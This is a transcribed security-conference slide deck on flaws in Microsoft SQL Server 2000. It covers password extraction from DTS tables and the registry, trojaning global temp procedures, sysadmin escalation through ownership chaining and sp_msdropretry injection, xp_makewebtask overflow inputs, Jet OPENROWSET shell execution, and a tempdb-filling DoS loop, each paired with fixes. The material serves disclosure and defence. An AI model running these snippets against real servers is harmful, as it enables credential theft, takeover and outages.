Hunting flaws in Microsoft SQL Server



Similar documents
NNT CIS Microsoft SQL Server 2008R2 Database Engine Level 1 Benchmark Report 0514a

Manipulating Microsoft SQL Server Using SQL Injection

SQL SERVER Anti-Forensics. Cesar Cerrudo

Microsoft SQL Server Security Best Practices

Violating The Corporate Database. Presented by Dan Cornforth Brightstar, IT Security Summit, April 2006

Thick Client Application Security

Hacking Database for Owning your Data

Top 10 Database. Misconfigurations.

Database Security SQL Server 2012

Hacking databases for owning your data. Cesar Cerrudo Esteban Martinez Fayo Argeniss (

THREAT MODELLING FOR SQL SERVERS Designing a Secure Database in a Web Application

Microsoft SQL Server Security & Auditing. March 23, 2011 ISACA Chapter Meeting

General DBA Best Practices

Auditing a Web Application. Brad Ruppert. SANS Technology Institute GWAS Presentation 1

Discovering passwords in the memory

Database Auditing: Best Practices. Rob Barnes, CISA Director of Security, Risk and Compliance Operations

Dell InTrust Preparing for Auditing Microsoft SQL Server

Threat Modeling. Categorizing the nature and severity of system vulnerabilities. John B. Dickson, CISSP

Microsoft Baseline Security Analyzer

Database Security Guide

$99.95 per user. SQL Server 2005 Database Administration CourseId: 152 Skill level: Run Time: 30+ hours (158 videos)

How To Classify A Dnet Attack

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Columbia University Web Security Standards and Practices. Objective and Scope

GUIDE TO SYBASE SECURITY

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Chancery SMS Database Split

Minimizing the use of sa in Microsoft Dynamics GP. Copyright Fastpath, Inc. 2011

6231B: Maintaining a Microsoft SQL Server 2008 R2 Database

Overview of Network Security The need for network security Desirable security properties Common vulnerabilities Security policy designs

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

What is Web Security? Motivation

Getting to Know the SQL Server Management Studio

Windows Attack - Gain Enterprise Admin Privileges in 5 Minutes

Video Administration Backup and Restore Procedures

MOC 20462C: Administering Microsoft SQL Server Databases

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Nessus scanning on Windows Domain

ICTN Enterprise Database Security Issues and Solutions

Windows Operating Systems. Basic Security

Remote Administration

ADO and SQL Server Security

Linked Servers. Functionality and Performance Considerations for Linked Servers

Last update: February 23, 2004

Securing Database Servers. Database security for enterprise information systems and security professionals

Penetration Testing: Advanced Oracle Exploitation Page 1

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Guarding Against SQL Server Attacks: Hacking, cracking, and protection techniques.

Improved Penetration Testing of Web Apps and Databases with MatriXay

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

ITEC441- IS Security. Chapter 15 Performing a Penetration Test

Chapter 4 Application, Data and Host Security

AN OVERVIEW OF VULNERABILITY SCANNERS

Hack Your SQL Server Database Before the Hackers Do

Web Application Report

Violating Database - Enforced Security Mechanisms

SQL Server Anti- Forensics: Techniques and Countermeasures

Feature. Auditing SQL Server Databases Using CAATs

Client Server Registration Protocol

Microsoft SQL Server Integration Guide

How To Hack A Sql Server Rootkit With A Rootkit

SENSITIVE AUSTRALIAN SPORTS COMMISSION ATHLETE MANAGEMENT SYSTEM (AMS) SMARTBASE SECURITY TEST PLAN. Final. Version 1.0

Auditing In SQL Server. SQL Saturday #486 - RVA Presented By Brad McKuhen

SQL Server 2008 Administration

Windows Remote Access

Web Application Security

Medical Device Security Health Imaging Digital Capture. Security Assessment Report for the Kodak Capture Link Server V1.00

Advanced SQL Injection in Oracle databases. Esteban Martínez Fayó

Chapter 23. Database Security. Security Issues. Database Security

The SQL Injection and Signature Evasion

Black Box Penetration Testing For GPEN.KM V1.0 Month dd "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383;!

DigiVault Online Backup Manager. Microsoft SQL Server Backup/Restore Guide

BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: Security Note

Hands-On Ethical Hacking and Network Defense Second Edition Chapter 8 Desktop and Server OS Vulnerabilities

SQL Server 2008 Designing, Optimizing, and Maintaining a Database Session 1

Microsoft SQL Server Staging

SQL Backup and Restore using CDP

PRO: Optimizing and Maintaining a Database Administration Solution by Using Microsoft SQL Server Practice Test. Version 2.

SQL Server Hardening

Securing SQL Server. Protecting Your Database from. Second Edition. Attackers. Denny Cherry. Michael Cross. Technical Editor ELSEVIER

SQL Server Automated Administration

Getting Started with RES ONE Automation 2015

RemotelyAnywhere. Security Considerations

Migrate Topaz databases from One Server to Another

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

1 hours, 30 minutes, 38 seconds Heavy scan. All scanned network resources. Copyright 2001, FTP access obtained

$99.95 per user. SQL Server 2008/R2 Database Administration CourseId: 157 Skill level: Run Time: 47+ hours (272 videos)

SY system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.

BLIND SQL INJECTION (UBC)

Oracle Security Auditing

Oracle Security Auditing

Timbuktu Pro for Windows, version 8

Database Security & Auditing

Transcription:

Hunting flaws in Microsoft SQL Server Cesar Cerrudo Independant Security Researcher Aaron Newman CTO/Founder, Application Security, Inc. www.appsecinc.com 1

Outline Collecting passwords Elevating privileges Owning the system Denial of Service attacks Resources, Conclusion, and Wrap Up 2

Collecting Passwords 3

Using Mixed Mode Authentication Passwords saved weakly encrypted Ð Encryption is really just encoding - no secret key Ð If you know the algorithm, you can decode Ð Saved in tables, registry, etc... Why are they saved with weak encryption? Ð Must be extracted and used later for authentication The problem Ð Passwords are saved in tables with weak permissions Ð Stored procs with weak permissions return passwords Ð Passwords saved in registry with weak permissions 4

DTS packages Can be stored in several formats Ð SQL Server, Meta Data Services Ð Structured Storaged File, Visual Basic File When saved in SQL Server or Meta Data Services Ð All the DTS information is saved in tables Ð Stored in msdb system database Ð Saved information includes connection passwords!!! DTS package can have 2 different passwords Passwords used by package to connect to datasources Password to encrypt the package 5

Saving DTS packages in SQL Server When DTS Package is saved in SQL Server Ð Encoded using proprietary algorithm Ð Stored in msdb.dbo.sysdtspackages system table Default access controls on the table sysdtspackages Ð Only dbo/sysadmins can select from the table Stored procedures that access sysdtspackages Ð msdb.dbo.sp_enum_dtspackages Ð msdb.dbo.sp_get_dtspackage Ð EXECUTE permissions granted to public on these procs Ð Procedures can be used to retrieve encoded passwords 6

Uncovering passwords in sysdtspackages Get the DTS package data Insert into another SQL Server Instance Open DTS package in Enterprise Manager Decoding the passwords Read passwords from memory Run package and sniff password off network Brute-force the DTS package if password-protected 7

Fix for sysdtspackages Use strong passwords on DTS packages 8

Saving DTS packages in Meta Data Services DTS Package information is saved in several tables Connection passwords are saved in clear text in msdb.dbo.rtbldmbprops Default access control on msdb.dbo.rtbldbmprops Ð SELECT permissions granted to public Ð Cleartext password can be SELECTed by any user Select the cleartext password Ð Select * from msdb.dbo.rtbldbmprops Ð Password contained in field Ò11120Ó 9

Fix for RTblDBMProps Revoke select permissions from this table From SQL Query Analyzer revoke select on msdb.dbo.rtbldbmprops from public Do not store DTS packages in Meta Data Services DTS packages can not be stored in Meta Data Services by default in SP3 Ð The option must be enabled via registry key 10

Replication Allows data to be syncõed with remote SQL Server If you Ð Log in with Enterprise Manager using SQL authentication Create a subscription Set to use Windows Synchronization Manager for synchronization Then Ð Windows Synchronization Manger will use SQL authentication by default Login password will be stored in the registry (encoded) Everyone will have read permission on key 11

Saving password in registry A new registry key is created under Ð HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Micro soft SQL Server\80\Replication\Subscriptions Name of the new key Ð Publisher:PublisherDb:Publication:Subscriber:SubscriberDb Encoded password saved in value named Ð SubscriberEncryptedPasswordBinary 12

Uncovering replication passwords Extract the password from the registry Ð Ð Ð EXEC master.dbo.xp_regread @rootkey='hkey_local_machine', @key= 'SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication\Subscriptions\<key>', @value_name= 'SubscriberEncryptedPasswordBinary' Decode the password: declare @password nvarchar(524) set @password=encryptedpasswordgoeshere exec xp_repl_help_connect @password OUTPUT select @password 13

Fix for registry passwords Apply Service Pack 3 Login password are not saved in the registry anymore Windows Synchronization Manager will ask for passwords every time it synchronizes, if it was set to use SQL Authentication. Revoke execute permissions from xp_regread From SQL Query Analyzer revoke execute on master.dbo.xp_regread from public 14

SQL Agent Used to run jobs and perform maintenance tasks on a scheduled tasks If you - Configured SQL Agent to connect using SQL Server authentication Then - A sysadmin login and password must be recorded The password is saved encoded in LSA secrets key SQL Agent must run under Windows administrative account to retrieve password from LSA secrets key 15

LSA secret keys Permissions on these keys are locked down Only LocalSystem and Adminstrators can access If SQL Server service is running as an administrative account msdb.dbo.sp_get_sqlagent_properties can retrieve values from the registry Execute permissions granted to public on this proc 16

Uncovering SQL Agent passwords Proc sp_get_sqlagent_properties can be used by anyone to uncover password Retrieve the encoded password Ð exec msdb.dbo.sp_get_sqlagent_properties Crack it using choosen plain-text attack Decode with decrypt() function in semcomn.dll Located in SqlServerInstance\Binn folder Thanks Jimmers for find this function http://jimmers.narod.ru 17

Fix for SQL Agent passwords Use Windows authentication to login the SQL Agent Revoke execute from sp_get_sqlagent_properties From SQL Query Analyzer revoke execute on msdb.dbo.sp_get_sqlagent_properties from public Apply Service Pack 3 Stored procedure only returns passwords for sysadmins 18

Elevating privileges 19

Temporary Global Stored Procedures Can be created by any user Can be execute by all users Can be altered, dropped, etc... by any user without restrictions Excellent opportunity to insert Trojan code. 20

Inserting the Trojan code Search for temporary global stored procedures select name from tempdb..sysobjects where name like Ô##%Õ Modify global temp alter proc ##<name> as <original code here> <trojan code here> Wait for privileged user to execute 21

Fix for global temp stored procedure Not considered a vulnerability by Microsoft Works as designed Conclusion Ð BAD DESIGN!!!! Work-around Avoid using temporary global stored procedures 22

Views and stored procedures Object such as stored procedures and views can references other objects If object owner of both objects are the same Permissions are not checked on the referenced objects SQL Server assumes object owner would not reference objects that unless owner meant it Referred to as ownership chaining 23

Cross-database ownership If sa login is the database owner of a database, then sa login is mapped to the dbo user All users granted the db_owner role can create objects and designate them as owned by dbo What happens when A view or stored procedure references object in a different database View or procedure is owned by dbo Object is owned by a different dbo in a different database 24

Cross-database ownership Test this concept use testdatabase create proc dbo.test as select * from master.dbo.sysxlogins go exec test Guess what Ð it works!!! Retrieves sysxlogin from master database 25

Why does this work? SQL Server performs access control by Checking permissions on stored procedures first Gets the SID (0x01 sa SID) of the user (dbo) in the current database that owns the stored procedure Compares the SID with the SIDs of the owners of the objects referenced in the stored procedure Because the SID of the owner of the stored procedure match the SID of the owner of the objects referenced in the stored procedure - it works!!! 26

Why does this work? Access controls not designed to handle a user: Granted the db_owner role but is not the dbo Is not a member of sysadmin role That creates a stored procedure as the dbo user DoesnÕt have permissions in objects referenced in the SP Applies to views, triggers and user defined functions Any db_owner can impersonate sa when sa is dbo Also works when using Windows Authentication 27

Database owner becoming sysadmin Create a view to modify sysxlogins Ð exec sp_executesql Ð NÕcreate view dbo.test as Ð select * from master.dbo.sysxloginsõ Exploits SQL injection in sp_msdropretry to write system tables (discovered by Chris Anley) Set SID to 0x01 Ð exec sp_msdropretry Ð Ôxx update sysusers set sid=0x01 where name= ÔÕdboÕÕÕ, ÔxxÕ 28

Database owner becoming sysadmin (cont) Set xstatus field to 18 (sysadmin) Ð exec sp_msdropretry Ð Ôxx update dbo.test set xstatus=18 where name= SUSER_SNAME()Õ, ÔxxÕ Return state back to before the hack Ð exec sp_executesql NÕdrop view dbo.testõ Ð exec sp_msdropretry Ôxx update sysusers set sid=suser_sid(ôõdbownerloginõõ) where name= ÔÕdboÕÕÕ, ÔxxÕ 29

Other vulnerable fixed-database roles Previous attack can be performed by db_securityadmin db_datawriter db_securityadmin can grant write on any table db_datawriter has write permissions to all tables 30

Fix for cross-database ownership SQL Server service pack 3 new server option ÒAllow cross-database ownership chainingó Option disabled by default installing SP3 Can be enabled later: exec sp_configure ÔCross DB Ownership ChainingÕ, Ô1Õ 31

Fix for cross-database ownership Option can be set per database exec sp_dboption ÔdatabasenameÕ, Ôdb chaningõ, ÔtrueÕ Revoke execute on sp_msdropretry From SQL Query Analyzer revoke execute on master.dbo.sp_msdropretry from public Apply Service Pack 3 sp_msdropretry system stored procedure is not vulnerable to SQL injection anymore 32

Owning the system 33

Gaining operating system privileges After attacker becomes sysadmin the game is over Attacker still needs a way to gain control of the operating system Excellent opportunity for exploiting known buffer overflows or other holes If xp_cmdshell & its.dll has been removed 34

Buffer overflow Extended stored procedures donõt properly validate input data xp_makewebtask Has two parameters FILE and TPLT Are not correctly validated By passing long string to one of these parameters A unicode stack-based overflow ocurrs Exploitable to execute operating system commands 35

Buffer overflow code sample #1 First example EXECUTE sp_makewebtask @outputfile = 'c:\blobsmp.htm', @query = 'SELECT * FROM publishers ', @webpagetitle = 'Publishers', @resultstitle = 'Title', @whentype = 9, @blobfmt='%1% FILE=C:\XXXXXXXXXXXXXXX... TPLT=C:\BLOBSMP.TPL %6% FILE=C:\PUBLOGO.GIF', @rowcnt = 2 36

Buffer overflow code sample #2 Second example EXECUTE sp_makewebtask @outputfile = 'c:\blobsmp.htm', @query = 'SELECT * FROM publishers ', @webpagetitle = 'Publishers', @resultstitle = 'Title', @whentype = 9, @blobfmt='%1% FILE=C:\BLOBSMP.HTM TPLT=C:\XXXXXXXXXXXXXXÉ. %6% FILE=C:\PUBLOGO.GIF', @rowcnt = 2 37

Fix for xp_makewebtask buffer overflow Apply Service Pack 3 Buffer overflow fixed in xp_makewebtask 38

OLEDB providers Executes queries against OLEDB providers Using commands openrowset() and opendatasource() Excellent opportunity to exploit known holes SELECT * FROM OPENROWSET( 'Microsoft.Jet.OLEDB.4.0', 'C:\database.mdb';'ADMIN';'', 'select *, Shell(''<command>'') from customers' ) Failed because Jet Sandbox is enabled Blocks Shell() function used outside Microsoft Access. 39

OLEDB providers (cont) Attempt to use different version of OLEDB provider SELECT * FROM OPENROWSET( 'Microsoft.Jet.OLEDB.3.51', 'C:\database.mdb';'ADMIN';'', 'select *, Shell(''<command>'') from customers' ) Must access a Microsoft Access 97 database Several exist in a Windows 2000 system by default Jet Sandbox blocks Jet 4.0 - fails to block Jet 3.51 The above query works!!! 40

Fix for OLEDB providers Not particularly related to SQL Server Result of the JET sandbox which fails to block the shell()function No fix available 41

Gathering service account information Useful to know which Windows account SQL Server service runs as Helps determine privileges over OS attacker can gain Openrowset() function returns the Windows account under which SQL Server runs Discovered through error messages when executed in a specific way 42

Querying service account information To determine the service account SELECT * FROM OPENROWSET( ('sqloledb','';;,'') Response Msg 18456, Level 14, State 1, Line 1 Login failed for user 'Administrator'. 43

Fix for openrowset Apply Service Pack 3 Windows account is not returned in error messages of openrowset() function 44

Denial of Service Attacks 45

Temporary tables Any user can create temporary tables without restrictions guest user canõt be removed from tempdb system database Excellent opportunity for DoS 46

Filling up tempdb The next query will create a temporary table and will run an endless loop inserting values in the table After enough time tempdb database will consume all system resources SQL Server instance will fail or crash create table #tmp (x varchar(8000)) exec('insert into #tmp select ''X''') while 1=1 exec('insert into #tmp select * from #tmp') 47

Fix for tempdb DoS Currently no protection against this attack Microsoft plans to add protection in future SQL Server release probably in Yukon (SQL Server.NET) Workaround Set SQL Server Agent Alerts on unexpected tempdb database grow 48

Resources, Conclusion, and Wrap Up 49

Recommendations Keep SQL Server up to date with hot fixes Use Windows credentials for authentication Disable Cross-Database ownership chaining Run SQL Server using non-privileged user Set SQL Agent Alerts on critical issues 50

Recommendations (continued) Run periodic checks On all system and non-system object permissions On all tables, views, stored procedures, and extended stored procedures On users permissions Audit as often as possible And pray ;) 51

Resources Stay patched Ð http://www.microsoft.com/security Ð http://www.microsoft.com/sql Security alerts Ð www.mssqlsecurity.net/resources/mailinglist.html Manipulating Microsoft SQL Server Using SQL Injection (by Cesar Cerrudo) Ð http://www.appsecinc.com/techdocs/whitepapers.html SQL Security information Ð http://www.appsecinc.com/resources Ð http://www.sqlsecurity.com (Chip Andrews) 52

Final Words Huge security improvement in SP3 Mostly as a result of independent security researchers work Still several holes without fixes SQL Server 7 seems to be forgotten No fixes yet You must buy SQL Server 2000 ;) If you use SQL Server Authentication soon or later you will get hacked. 53

Questions? About Ð SQL Server security features Ð Vulnerabilities Ð Protecting your SQL Server Email us at: sqlsec@yahoo.com anewman@appsecinc.com 54